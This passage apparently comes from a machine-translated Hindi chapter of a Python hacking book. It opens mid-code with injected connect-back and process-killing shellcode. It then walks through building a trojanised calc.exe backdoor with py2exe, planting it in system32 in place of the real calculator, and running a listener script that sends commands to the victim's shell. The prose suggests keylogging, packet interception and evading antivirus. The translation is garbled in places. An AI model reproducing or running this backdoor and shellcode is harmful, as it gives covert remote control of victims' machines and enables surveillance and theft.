"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( "\x00" * padding ) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode ) 

अच्छा है!हम प्रक्रिया पहचानकर्ता (PID) को पिछले दरवाजे पर भेजते हैं और इस प्रक्रिया में शेल कोड एम्बेड करते हैं जिसे हमने देखा (calc.exe)। फिर पिछले दरवाजे को मार डालो। अब हमारे पास एक बहुत अच्छा बैकडोर है जो कुछ तरकीबों का उपयोग करता है, लेकिन सबसे महत्वपूर्ण बात यह है कि हम हमलावर मशीन तक पहुंच प्राप्त करते हैं, हर बार किसी ने कैलकुलेटर शुरू किया। यदि आप एक समझौता प्रणाली है और इस प्रणाली के उपयोगकर्ता के पास पासवर्ड-रक्षित या आप के लिए ब्याज की अनुप्रयोग तक पहुँच है, तो आप इस स्थिति का उपयोग कर सकते हैं। इस मामले में, आप फ़ाइलों को प्रतिस्थापित कर सकते हैं और इसके लॉन्च के तुरंत बाद इस तरह के एप्लिकेशन के संचालन के परिणामस्वरूप खुद को कील कर सकते हैं। जब भी कोई उपयोगकर्ता एक स्पूफ़ किए गए एप्लिकेशन को लॉन्च करता है और सिस्टम में लॉग इन करता है, तो आपको एक शेल (शेल) मिलता है, जिसके साथ आप कीस्ट्रोक्स, इंटरसेप्ट नेटवर्क पैकेट, आदि की निगरानी शुरू कर सकते हैं। हमें एक छोटी सी बात को हल करने की आवश्यकता है: हम कैसे गारंटी दे रहे हैं कि उपयोगकर्ताजिसके खिलाफ हम हमला करने जा रहे हैं, वह पायथन स्थापित है, जिसे हमारी स्क्रिप्ट को चलाने की आवश्यकता है? पर पढ़ें और आप इस तरह के एक अद्भुत पायथन पुस्तकालय के बारे में जानेंगेpy2.exe , जो आपको अपने पायथन स्क्रिप्ट को वास्तविक विंडोज निष्पादन योग्य में बदलने की अनुमति देता है, अर्थात। exe फ़ाइल।

7.2.3 py2exe का उपयोग

पुस्तकालय py2exe [2] , एक पूर्ण विकसित विंडोज निष्पादन योग्य फ़ाइल को Python स्क्रिप्ट संकलित करने के लिए संभव है। इसका उपयोग करने से पहले, आपको एक विशेष स्थापना स्क्रिप्ट बनाने की आवश्यकता है जिसमें यह निर्धारित करने के लिए कि हम क्या संकलन करना चाहते हैं। पिछले दरवाजे को संकलित करने के लिए, हम एक काफी सरल स्क्रिप्ट बनाएंगे। एक नई फ़ाइल खोलें, इसे setup.py नाम दें और निम्न कोड दर्ज करें।

setup.py

 # Backdoor builder from distutils.core import setup import py2exe setup(console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, ) 

हां, वह इतना सरल है। आइए उन मापदंडों को देखें जो स्थापना फ़ंक्शन में पारित किए गए थे। पहला पैरामीटर "कंसोल" संकलित की जाने वाली मुख्य स्क्रिप्ट का नाम है। ऑप्शंस और जिपफाइल पैरामीटर को मुख्य निष्पादन योग्य में पायथन डीएलएल और अन्य सभी आश्रित मॉड्यूल को संयोजित करने के लिए सेट किया गया है। यह हमारे पिछले दरवाजे को मोबाइल बनाता है, इस अर्थ में कि यह आपको एक ऐसी प्रणाली में स्थानांतरित करने की अनुमति देता है जहां कोई पायथन नहीं है, और यह काम करेगा। संकलित करने से पहले, जाँच लें कि फ़ाइलें my_debugger_defines.py , backdoor.py, और setup.py एक ही निर्देशिका में हैं। फिर कमांड लाइन पर जाएं और नीचे दिखाए अनुसार इंस्टॉलेशन स्क्रिप्ट निष्पादित करें:

 python setup.py py2exe 

जिसके बाद आप संकलन प्रक्रिया से आउटपुट देखेंगे, जिसके बाद आपके पास दो डिस्टर्ब और बिल्ड डायरेक्ट्री होंगी । डिस्ट फ़ोल्डर के न्यूट्रिया में, backdoor.exe आपका इंतजार करेगा । इसे calc.exe पर नाम बदलें और इसे परीक्षण के लिए लक्ष्य प्रणाली में कॉपी करें। फिर "C: \ WINDOWS \ system32 \" से मूल calc.exe की प्रतिलिपि बनाएँ और इसे ड्राइव "C: \" की जड़ में डालें। फिर पिछले दरवाजे calc.exe को "C: \ WINDOWS \ system32 \" पर ले जाएं। अब हम सभी को रिमोट सिस्टम पर शेल के साथ काम करने की आवश्यकता है ताकि कमांड प्राप्त करने और इसे भेजने के लिए एक सरल स्क्रिप्ट लिखी जा सके। एक नया पायथन फ़ाइल खोलें, इसे backdoor_shell.py नाम देंऔर निम्न कोड दर्ज करें।

backdoor_shell.py

 import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) connected = False while 1: #accept connections from outside if not connected: (client, address) = server.accept() connected = True print "[*] Accepted Shell Connection" buffer = "" while 1: try: recv_buffer = client.recv(4096) print "[*] Received: %s" % recv_buffer if not len(recv_buffer): break else: buffer += recv_buffer except: break # We've received everything, now it's time to send some input command = raw_input("Enter Command> ") client.sendall( command + "\r\n\r\n" ) print "[*] Sent => %s" % command 

यह एक बहुत ही सरल सॉकेट सर्वर है जो बस एक कनेक्शन की प्रतीक्षा करता है और सॉकेट को पढ़ता / लिखता है। अपने वातावरण के लिए होस्ट और पोर्ट चर का एक सेट के साथ सर्वर शुरू करें। फिर calc.exe चलाएंरिमोट सिस्टम पर (यह स्थानीय कंप्यूटर पर समान काम करेगा)। फिर आपको कैलकुलेटर विंडो को देखना चाहिए, और आपके सॉकेट सर्वर को कनेक्शन रजिस्टर करना चाहिए और कुछ डेटा प्राप्त करना चाहिए। दूरस्थ प्रणाली से डेटा प्राप्त करने के चक्र को बाधित करने के लिए, CTRL-C दबाएं, यह आपको एक कमांड दर्ज करने की अनुमति देगा। रचनात्मक होने के लिए स्वतंत्र महसूस करें, यहां आप dir, cd या type जैसे कमांड का प्रयास कर सकते हैं, ये सभी विंडोज के देशी शेल शेल कमांड हैं। प्रत्येक कमांड दर्ज करने के बाद, आपको इसके कार्य का परिणाम प्राप्त होगा। अब आपके पास पिछले दरवाजे के साथ बातचीत करने का एक प्रभावी और थोड़ा अदृश्य साधन है। कार्यक्षमता का विस्तार करने के लिए अपनी कल्पना का उपयोग करें; चालाकी से सोचें और एंटीवायरस के आसपास पहुंचें। पायथन में ऐसी चीजों को विकसित करने के लाभ गति, सहजता और पुन: प्रयोज्य हैं।

जैसा कि आपने इस अध्याय में देखा, कोड लागू करना और DLL दो बहुत ही उपयोगी और शक्तिशाली तकनीकें हैं। अब आप एक नए कौशल के साथ सशस्त्र हैं जो एक पेंटेस्ट या रिवर्स के दौरान काम में आएगा। अगले अध्याय में, हम पायथन आधारित फ़ज़र्स का उपयोग करने पर ध्यान केंद्रित करेंगे। दोनों देशी और कुछ खुले स्रोत उपकरण पर विचार किया जाएगा।

संदर्भ

[१] MSDN CreateRemoteThread फ़ंक्शन देखें (http://msdn.microsoft.com/en-us/library/ms682437.aspx)

[2] py2exe डाउनलोड के लिए, (http://sourceforth.net/project/showfiles पर जाएं .php? group_id = 15583)

स्रोत